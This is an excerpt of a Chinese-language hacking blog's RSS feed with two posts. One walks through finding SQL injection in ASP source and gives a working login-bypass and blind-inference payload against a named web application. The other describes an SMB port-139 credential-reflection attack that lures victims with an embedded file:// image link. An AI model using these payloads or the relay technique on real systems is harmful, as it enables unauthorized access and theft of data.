<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 有些程序员为了减少错误，对于前两种信息的获取，会采用Request来取得客户端提交的信息，这种方法，虽然可以通吃Request.QueryString和Request.Form的提交信息，但如果过滤的不好，就会被漏洞反咬一口。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 了解过一些Request的知识后，下面就在“查找”中输入“request”进行搜索，OK！当找到上面所列的三项Request语句后，再来看一下程序对这些Request语句是否做了过滤，比如ID值是否用INT过滤，例：id=int(request(&#8220;id&#8221;))；字符串值是否用replace()或instr()等函数进行过滤单引号或一些特殊字符，例：username=replace(request(&#8220;username&#8221;),&#8221;&#8216;&#8221;,&#8221;")；或者程序是否采用本身的一些过滤函数来过滤这些提交值。从查找到这句request参数起，一直到SQL语句中使用这个提交值至，如果中间没有上面的层层关卡，那么，一个注入点，基本上就算是出现了。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 说到SQL语句，不能不提到以下几个常用的语句：<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1、查询语句：SELECT [(&lt;字段名1&gt; [,&lt;字段名2&gt;, ...])] FROM &lt;表名JMDCW&gt; [WHERE &lt;条件表达式&gt; [AND|OR &lt;条件表达式&gt;...]<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2、更新语句：UPDATE &lt;表名JMDCW&gt; SET 列名1 = 常量表达式1[,列名2 = 常量表达式2 ...] WHERE &lt;条件表达式&gt; [AND|OR &lt;条件表达式&gt;...]<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3、删除语句：DELETE FROM〈表名JMDCW〉[WHERE &lt;条件表达式&gt; [AND|OR &lt;条件表达式&gt;...]]</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 因为篇幅，这里就不对这些SQL语句做介绍了，有兴趣的朋友可到网上查阅相关资料。在上面列出的SQL语句中，注入点出现频率最高的是Select语句，而注入参数的出没地通常都是在WHERE之后的条件中。当一个没有过滤的Request语句进入SQL语句后，就是注入大显身手的时候了，不过，在进行注入之前还要先看一下该参数是直接引入，还是用单引号引入的，另外，该参数是否还应用于其他SQL语句中，然后，根据不同的信息，选择不同的处理方式，或直接暴破，或UNION查询，当然，如果存在注入点的程序使用的是SQL数据库，那就不单单是得到一些重要信息，甚至还可以增加管理员</font><font face="黑体" color="#008080" size="3">（<font face="宋体">刺猬的2005作品</font>）</font><font face="黑体" color="#008080" size="3">。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 下面用“蚂蚁影院3.0”版注销用户(wantlogin.asp)中的一段源码来做一下介绍：<br />&lt;%<br />if request(&#8220;userid1&#8243;)&lt;&gt;&#8221;" then <font face="宋体">&#8216;刺猬的研究代码</font><br />set rst=server.createobject(&#8220;adodb.recordset&#8221;)<br />sql=&#8221;select money,online from users where userid=&#8217;&#8221;&amp;request(&#8220;userid1&#8243;)&amp;&#8221;&#8216; and password=&#8217;&#8221;&amp;md5(request(&#8220;pws&#8221;))&amp;&#8221;&#8216;&#8221;<br />rst.open sql,conn,1,3<br />if rst.eof and rst.bof then<br />response.write&#8221;&lt;script&gt;alert(&#8216;用户名或密码错误！&#8217;);history.back();&lt;/Script&gt;&#8221;<br />else<br />response.write&#8221;&lt;script&gt;alert(&#8216;恢复成功你现在可以登陆！&#8217;);&lt;/Script&gt;&#8221;<br />response.write&#8221;&lt;script Language=Javascript&gt;location.href = &#8216;index.asp&#8217;;&lt;/script&gt;&#8221;<br />rst.close<br />set rst=nothing<br />conn.close<br />set conn=nothing<br />end if<br />end if<br />%&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在其流程中，首先判断取得的提交值userid1是否为空，不为空的话就进入SQL语句中，验证取得的用户名及密码是否和数据库内的用户名及密码一致，如果不一致，则弹出“用户名及密码错误”窗口，否则，就弹出“恢复成功”的窗口。这也是一段典型的注入漏洞源码，并且，接收的方式还是使用的request，这就给我们提交注入语句提供了最大的方便。如果我们在URL地址中提交如下字符：http://127.0.0.1/wantlogin.asp?userid1=aa&amp;pws=bb，因为没有aa这个用户，那么就会弹出错误窗口，而如果我们将aa换成如下字符：aa&#8217; or　1=1 or &#8216;1&#8242;=&#8217;1，pws保持不变，这样提交的语句到了SQL语句中就成了如下语句：<br />select money,online from users where userid1=&#8217;aa&#8217; or 1=1 or &#8216;1&#8242;=&#8217;1&#8242; and password=&#8217;md5(bb)&#8217;，以往我们所见到的测试代码一般为“or 1=1”，而这里却多用了一个 or ，为什么要多用一个or呢？解释一下，在逻辑运算符中，and的优先级别高于or ，程序运行后会先运算后面的&#8217;1&#8242;=&#8217;1&#8242; and password=&#8217;md5(bb)&#8217;，因为密码是随便输入的，所以and后的password值为假，而and前的&#8217;1&#8242;=&#8217;1&#8242;虽然为真，但真and假＝假，所以，这个and的运算值为假，再来看or运算，因为前面的用户名也是不存在的，其值当然为假，如此一来，where后的逻辑运算就成了如下表达式：假or真or假，结果值还是为真，这样就会弹出“恢复成功”窗口，如果将其中的or 1=1 改为or 1=2，那逻辑表达式则成了：假or假or假，值当然也为假，弹出的就是“用户名或密码错误”的窗口。这样，根据弹出窗口的不同，我们就可以构造一些特殊字符，然后猜测出需要的数据了，比如查询管理员ID的语句，将or后的1=1更改为： 1=(Select top 1 id from admin)，这里</p>
<hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> )</small>]]></content:encoded>
			<wfw:commentRss>http://hi.hugege.com/2007/05/06/7.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>黑客实战 系统泄露密码入侵攻击分析</title>
		<link>http://hi.hugege.com/2007/04/08/141.html</link>
		<comments>http://hi.hugege.com/2007/04/08/141.html#comments</comments>
		<pubDate>Tue, 30 Nov 1999 06:00:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[黑客病毒]]></category>
		<category><![CDATA[东西]]></category>
		<category><![CDATA[可能]]></category>
		<category><![CDATA[大家]]></category>
		<category><![CDATA[密码]]></category>
		<category><![CDATA[成功]]></category>
		<category><![CDATA[方式]]></category>
		<category><![CDATA[时间]]></category>
		<category><![CDATA[漏洞]]></category>
		<category><![CDATA[用户]]></category>
		<category><![CDATA[结果]]></category>
		<category><![CDATA[自己]]></category>
		<category><![CDATA[设置]]></category>
		<category><![CDATA[黑客]]></category>

		<guid isPermaLink="false">http://hi.hugege.com/?p=141</guid>
		<description><![CDATA[　Windows访问139端口时自动用当前用户、密码连接，造成泄露用户密码，虽然其密码是加密的，但一样可以用来攻击。
　　下面是SMB的密码认证方式。
　　WINDOWS的139口的访问过程，箭头表示数据方向：
　　1.客户端&#60;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;建立TCP连接&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;&#62;服务端
　　2.客户端&#8212;&#8212;-客户端类型、支持的服务方式列表等&#8212;&#8... ]]></description>
			<content:encoded><![CDATA[<p>　Windows访问139端口时自动用当前用户、密码连接，造成泄露用户密码，虽然其密码是加密的，但一样可以用来攻击。
<p>　　下面是SMB的密码认证方式。</p>
<p>　　WINDOWS的139口的访问过程，箭头表示数据方向：</p>
<p>　　1.客户端&lt;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;建立TCP连接&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;&gt;服务端</p>
<p>　　2.客户端&#8212;&#8212;-客户端类型、支持的服务方式列表等&#8212;&#8212;&#8212;-&gt;服务端</p>
<p>　　3.客户端&lt;&#8212;&#8212;&#8212;服务器认证方式、加密用的key等&#8212;&#8212;&#8212;&#8211;服务端</p>
<p>　　认证方式就是用户级认证还是共享级认证和密码加密不，key是服务器随机生成的8个字节，WIN2000已经支持16个字节的 key。</p>
<p>　　4.客户端&#8212;&#8212;&#8212;&#8212;&#8211;用户名、加密后密码&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;&gt;服务端</p>
<p>　　WIN9X、WINNT、WIN2000这有个漏洞，不经过提示等就把当前用户名，密码加密后发过去了，导致密码泄漏。这儿加密是DES的变形，lockedpass=chgdes(key,pass)。这儿的pass是作为DES变形的KEY，key是作为DES变形的待加密数据。</p>
<p>　　5.客户端&lt;&#8212;&#8212;&#8212;&#8212;&#8212;认证成功否&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;服务端</p>
<p>　　WINDOWS客户端第4步有漏洞，显然服务端可以得到username和lockedpass=chgdes(key,pass), 其中key可以自由指定，因为这是服务方提供的，usname、pass是客户端当前访问者用户名和密码。这儿的加密变换不可逆，但已经可以用暴力法破解了，也已经有了这样的程序。其实我们有时并不一定要得到密码明文的，只要能提供连接需要的就可以了。我们来看得到lockedpass有什么用，我们反过去访问看看，telnet、ftp等连接要密码明文我们得到的lockedpass不能提供，那么我们考虑用同样加密算法传密码密文的服务呢?比如就是NETBIOS共享服务。前面是服务端得到东西，那现在就是站在客户端了，再看前面那过程，显然其实我们并不需要提供pass,是不是只需要提供username和lockedpass2=chgdes(key2,pass)就可以了?其中key2是现在的服务端提供的。看看我们有 usname和lockedpass=chgdes(key,pass)其中key我们可以自己指定，大家一看显然只要key=key2那么就需要的我们都有了是不是?所以我们要使得key=key2.</p>
<p>　　好我们再仔细看看连接过程，别人连接两步1、2：</p>
<p>　　1.客户端&lt;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;建立TCP连接&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;&gt;服务端</p>
<p>　　2.客户端&#8212;&#8212;-客户端类型、支持的服务方式列表等&#8212;&#8212;&#8212;-&gt;服务端</p>
<p>　　下面就该</p>
<p>　　3.客户端&lt;&#8212;&#8212;&#8212;服务器认证方式、加密用的key等&#8212;&#8212;&#8212;&#8211;服务端</p>
<p>　　这我们需要提供key,这儿我们不能随便提供key,需要提供key2,那么我们就要得到key2,显然需要连接NETBIOS服务回去。显然这而需要连接回去的11，22，33共3步(为了区分连接回去的步子用重号表示)才能得到key2，显然这2步和3步不需要有先后顺序。所以我们可以得到连接指定IP的NETBIOS服务然后等这用户来访问，这可能有时间超时等处理，或者等到任意IP连接NETBIOS服务后马上连回去，反正怎么处理方便、满足需要就怎么处理。</p>
<p>　　下面显然就是设置 key=key2返回3，那就等4得到lockedpass了，第5步嘛就你自由处理了，要不返回密码错误，后面就是44、55……</p>
<p>　　总的来就是1，2，11，22，33，3，4，5，44，55……显然你就是以那机器访问你的用户的身份去访问他的NETBIOS服务了，能干什么那就看那用户的权限了。</p>
<p>　　注意有兴趣的可以把SAMB包的客户端程序修改加上一点服务的前几步就可以了。显然这主要利用的还是WINDOWS泄露当前用户名、加密密码漏洞。还有这需要别人来访问你的机器，这好办，邮件或者主页等里面来个</p>
<p>　　IMGsrc”=&#8221;file://ip/filename&#8221; &#8230;</p>
<p>　　就可以了。我实验了去掉机器139口服务(要不有139口要影响后面端口重定向)，用端口重定向程序把来向139口定向回去，找另一个WINNT机器用</p>
<p>　　file://ip/访问那重定向139口的机器，结果是没有密码提示就看到WINNT机器本身了。其实这时重定向端口程序那台机器已经用WINNT机器的当前用户访问WINNT了，只是由于没有客户端的处理界面不能操作。</p>
<hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> )</small>]]></content:encoded>
			<wfw:commentRss>http://hi.hugege.com/2007/04/08/141.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<!-- WP Super Cache is installed but broken. The path to wp-cache-phase1.php in wp-content/advanced-cache.php must be fixed! -->
